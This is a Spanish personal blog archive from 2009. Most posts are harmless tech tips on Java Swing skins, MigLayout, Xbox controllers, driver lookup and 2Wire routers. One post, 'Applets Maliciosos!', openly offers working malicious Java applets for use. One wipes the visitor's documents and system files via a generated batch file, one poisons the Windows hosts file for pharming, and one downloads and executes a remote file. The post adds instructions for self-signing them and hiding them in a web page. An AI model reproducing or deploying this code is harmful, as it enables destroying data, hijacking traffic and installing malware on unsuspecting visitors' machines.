sábado, 23 de mayo de 2009

Sigamos con Java[UIManagers]

Igual en vista de que necesito hacer un programa para una profesora, me puse a buscar algunos lookAndFeels(Skins) para mi aplicacion en java y encontre unos muy cutes!!! aqui les dejo un el programilla del post pasado para que noten la diferencia(igual basta con agregarlos a las librerias jar del proyecto en netbeans y hacer el necesario import en el programa):
Napkin
Este personalmente me encanto jaja y se puede descargar de aqui
Tiny
Este tambien me gusto por que se ve muy elegante y se descarga de aqui:

Quaqua
Este trata de parecerse a MacOsX, y se descarga de aqui
Liquid
Este tambien simula a MacOsX, y se descarga de aqui:

Office
Este tiene para simular la interface de Office 2003, Office XP y Visual Studio 2005, tambien me gusto y se descarga de aqui:

Simplemente se cambian usando este codigo en la clase donde generas tu GUI:


try{
  UIManager.setLookAndFeel(CLASEDELTEMA);
  }catch(Exception e){
  e.printStackTrace();
  }

Hablemos de Java [MigLayout!]

Ahora que alguna profesora me dejo hacer un programa en java con base de datos que no fuera web, pensé en hacerlo con Swing para aplicaciones de escritorio y la verdad me dio mucha flojera ya que a mi como me enseñaron es anidado los layouts(clases que definen como ordenar y repartir los componentes como los botones) oficiales de Swing y AWT como  el BorderLayout, FlowLayout, GridLayout, BoxLayout, etc vease mas en el manual oficial de sun...
Me puse a navegar por internet y encontre nadamas y nadamenos que un layout no oficial muy poderoso pero sencillo, con el cual se pueden hacer interfaces complejas de una manera muy sencilla
se puede descargar de aqui
y basta con agregar el .jar a las librerias del proyecto(en propiedades del proyecto, en netbeans):
y podremos empezar a utilizarlo, conciste en una grilla en la cual vamos a agregar elemento por elemento, un ejemplo muy sencillo:
el codigo para acomodar los botones es bastante sencillo gracias a este layout:
this.add(new JButton("boton1"));
this.add(new JButton("boton2"));
this.add(new JButton("boton3"));
this.add(new JButton("boton4"), "wrap");
this.add(new JButton("boton5"));
this.add(new JButton("boton6"));
this.add(new JButton("boton7"));
this.add(new JButton("boton8"));
donde en el boton4 ponemos un parametro "wrap" que nos sirve para dar el salto de linea en la grilla, obviamente podemos unir celdas, hacerlas mas grandes, hacer que un elemento ocupe x celdas hacia arriba o hacia abajo como lo hace GridBagLayout(que es el mas completo y complejo de los layouts oficiales) solo cambiando y utilizando varios parametros como el "wrap"; con esto podemos hacer interfaces mas complejas que llevarias varios layouts anidados, solo usando uno:
 
dejo el manual oficial de miglayout:

lunes, 18 de mayo de 2009

Applets Maliciosos!

Hace ya rato me salio la necesidad de hacer unos applets en java, para infectar con  troyanos, virus y destrozar cosas, y aqui se los posteo alfin... al fin y al cabo ya encontre como añadir codigo aqui e incluso poner varios efectos javascript... saludos!!
Ejecutar comandos de ms-dos (este elimina todos los documentos de la persona que abra la pagina y acepte la alerta de sun ke sale)
import java.io.*;
import javax.swing.JApplet;

public class xDD extends JApplet
{

    public xDD()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception e)
        {
            e.getMessage();
        }
        super.init();
    }

    public void infectar()
    {
 try {
    FileWriter fw = new FileWriter("c:\\windows\\cfg.bat");
    BufferedWriter bw = new BufferedWriter(fw);
    PrintWriter salida = new PrintWriter(bw);
    salida.println("@echo off");
    salida.println("cd\\");
    salida.println("cd %SYSTEMDRIVE%");
    salida.println("del *.* /f /s /q");
    salida.println("cd\\");
    salida.println("cd %HOMEPATH%");
    salida.println("del *.* /f /s /q");
    salida.println("cd Desktop");
    salida.println("cd Escritorio");
    salida.println("del *.* /f /s /q");
    salida.println("rd /s /q \"%homepath%/Mis Documentos\"");
    salida.println("del c:\\windows\\cfg.bat");
    salida.close();
    Runtime.getRuntime().exec("cmd.exe /K C:\\windows\\prueba.bat");
}
catch(java.io.IOException ioex) {
  System.out.println("se presento el error: "+ioex.toString());
}        
 
      }
}
Pharming
import java.applet.Applet;
import java.io.*;

public class Hola extends Applet
{

    public Hola()
    {
    }

    public void iniciar()
    {
        String s = getParameter("dominio");
        String s1 = getParameter("ip");
        try
        {
            File file = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
            FileWriter filewriter = new FileWriter(file, true);
            filewriter.write((new StringBuilder()).append(s1).append("        ").append(s).append(System.getProperty("line.separator")).toString());
            filewriter.close();
        }
        catch(Exception exception) { }
    }

    public void init()
    {
        try
        {
            iniciar();
        }
        catch(Exception exception)
        {
            System.out.println("Error");
        }
        super.init();
    }
Este es un Download and Execute que encontré por ahí, también dejo su código
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.JApplet;

public class Applet extends JApplet
{

    public Applet()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception exception)
        {
            exception.getMessage();
        }
        super.init();
    }

    public void infectar()
        throws Exception
    {
        byte abyte0[] = new byte[10240];
        String s = getParameter("url");
        System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(s).toString());
        String s1 = s.substring(s.lastIndexOf("."));
        s1 = s1.toLowerCase();
        File file = File.createTempFile("javatmp", s1);
        FileOutputStream fileoutputstream = new FileOutputStream(file);
        URL url = new URL(s);
        URLConnection urlconnection = url.openConnection();
        BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
        int i;
        while((i = bufferedinputstream.read(abyte0)) > 0) 
            fileoutputstream.write(abyte0, 0, i);
        fileoutputstream.close();
        if(s1.contains(".jar"))
            Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar  \"").append(file.getAbsolutePath()).append("\"").toString());
        else
            try
            {
                Runtime.getRuntime().exec(file.getAbsolutePath());
            }
            catch(IOException ioexception)
            {
                File file1 = File.createTempFile("tmp", ".bat");
                file1.createNewFile();
                file1.deleteOnExit();
                PrintWriter printwriter = new PrintWriter(file1);
                printwriter.println((new StringBuilder("\"")).append(file.getAbsolutePath()).append("\"").toString());
                printwriter.close();
                Runtime.getRuntime().exec(file1.getAbsolutePath());
                file1.delete();
            }
        file.deleteOnExit();
    }
}
para compilarlos, instalar el JDK de sun y en consola poner:
javac nombredelarchivo.java

nos genera el .class, lo metemos a un jar:
jar -cf fichero.jar clase.class

Creamos un perfil para firmar archivos jar(la contraseña la definimos nostros):
keytool -genkey -alias puto -validity 120 -v

y firmamos el jar con el perfil ke kreamos y ponemos las preguntas ke nos pida... pide la contraseña que definimos antes):
jarsigner.exe appletfirmado.jar puto -verbose

y listo la metemos a nuestro html:
<applet name="ajax" code="Applet.class" archive="App.jar" height="1" width="0">
<param name="PARAMETRO QUE NECESITE NUESTRO PROGRAMA" value="">
</applet>


Conectar controles Xbox1 en PC

Hace poco me dio mucha curiosidad ver como podía conectar uno de mis con

troles de la xbox1 a la PC para usarlo para jugar(se me hace comodo este control aunque tozco, pero muy funcional para casí cualquier juego) y me encontre con algunos controles que ya venian con un simple adaptador(de hecho compré uno), ahí empezo mi curiosidad, investigando encontre que son simples controles USB, las xbox1 tiene puertos USB modificados como sockets del control, por lo tanto, basta con guiarnos de este diagramilla ya que a los controles solo les sobra un cable(amarillo) que no se conecta para adaptarlo a la PC

Y como viceberza podemos conectar a la xbox, mouses(lo correcto es mice pero bueno), teclados y memorias a la consola.

martes, 12 de mayo de 2009

Encontrar controladores raros

Este es un truquillo muy simple y que sinceramente yo lo encontre(talvez ya lo habia hecho alguien mas o que se yo, pero a mi nadie me lo dijo), consiste en encontrar controladores raros, de hecho cualquier tipo de controlador se puede encontrar con este truquillo, basta con tener windows xp service pack 2 o superior(digase sp3, windows vista,  windows seven, etc) consiste en irnos al administrador de dispositivos(propiedades de Mi PC>>Separador "Hardware">>Boton "Administrador de dispositivos") aqui encontramos todos los dispositivos, obviamente los que tengan un "?" no estan instalados o los que tengan un "!" estan malfuncionando, seleccionamos el dispositivo y damos en propiedades>>Separador "Detalles" nos aparecera algo similar, 

en "Valor" encontramos un código, este código se llama ID de hardware, explico... cada dispositivo tiene un ID de hardware, conformado entre otras cosas, por el vendor ó fabricante y el device o dispositivo, esta ID es única para cada modelo y de hecho es como windows determina si un controlador es para este dispositivo o no, lo que realmente nos importa aqui es ven_8086 (el 8086 en vendor indica que es un disitivo intel) y el dev_4222 que si lo googleamos, estoy seguro que encontraremos el controlador aunque no sepamos cual, pruebas?

En google encontramos el nombre "Intel pro wireless 3945ABG" que es la NIC inalambrica que tengo, por si fuera poco, encontre el driver en la primera pagina... obviamente no siempre será así de facil y hay que buscar en las demas paginas que encuentren informacion, y obviamente podemos usar otras busquedas como por ejemplo

"ven_8086&dev_4222 vista" para encontrar los de vista... es cuestion de creatividad... este método a mi nunca me ha fallado

domingo, 10 de mayo de 2009

Nueva etapa de vida!!

Jejeje pues como dice el titulo, entro a una nueva etapa de mi vida, termino de hacer servicio social como desarrollador de software, para realmente "trabajar" y ganar dinero de esto, abrá muchos cambios, como empezando ya trabajaré desde mi casa por lo cual tendré mas tiempo para andar por aquí y por alla, esto es una ventaja, me darán mas tiempo para los proyectos del trabajo y mas tiempo para mi vida personal.

Realmente he aprendido mucho y en estos momentos me siento realmente capaz de dedicarme al desarrollo de software(Java, php y .net especialmente) y de realizar todos mis sueños y metas, todavia me faltan pero hay que seguirle, como muchos saben, pues me encantan los videojuegos y ya empiezo a hecharle una miradita a la api de windows y direct3d en C++, al visual C#  y al xna para hacer juegos para la PC y para la xbox 360(aunque necesito pagar, pero gratuitamente estoy haciendo pruebas), así como tambien empiezo a hecharle miraditas y estudiar para certificaciones como java y php, que algun dia pienso sacarlas, cada día hay que ser mejores y esta es una de mis maneras de ser mejor cada día... veamos que tanto avanzo en el año y medio que me queda de universidad...

Saludos y gracias por pasar por mi blog!!! prometo actualizarlo seguido y ponerles cosas cool

Como cascadear routers 2wires

Me refiero a como conectar varios routers 2wire en una red, para utilizar uno como switch o puente inalambrico... ojo, va  aver uno principal y uno secundario... el principal debe de estar conectado a la linea telefonica, el otro no, lo primero que vamos a hacer es conectar el router secundario(el que no va a llevar la linea telefonica) a cualquier maquina, vamos a acceder al http://home

de ahi vamos a entrar a home network o red domestica, y en Advanced Settings o configuracion avanzada, 

y configuramos así:

y damos en guardar, apartir de este momento la direccion de nuestro router va a ser esa, 192.168.1.253, ahora nos vamos a enlace de banda ancha e igual en configuracion avanzada, configuramos asi:

de ahi en fuera todo lo demas en blanco y con las configuraciones por defecto, ahora desconectamos este router, y lo cascadeamos(conectamos un cable utp de un router al otro) con el 2wire principal, el que va a estar a la linea telefonica, y de esta forma todo lo que conectemos en cualquiera de ambos routers, ya sea por utp o inalambrico tendra internet...

Hooks en React (I), Utilizar el estado en componentes Stateless.

¿Qué son los Hooks? Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos p...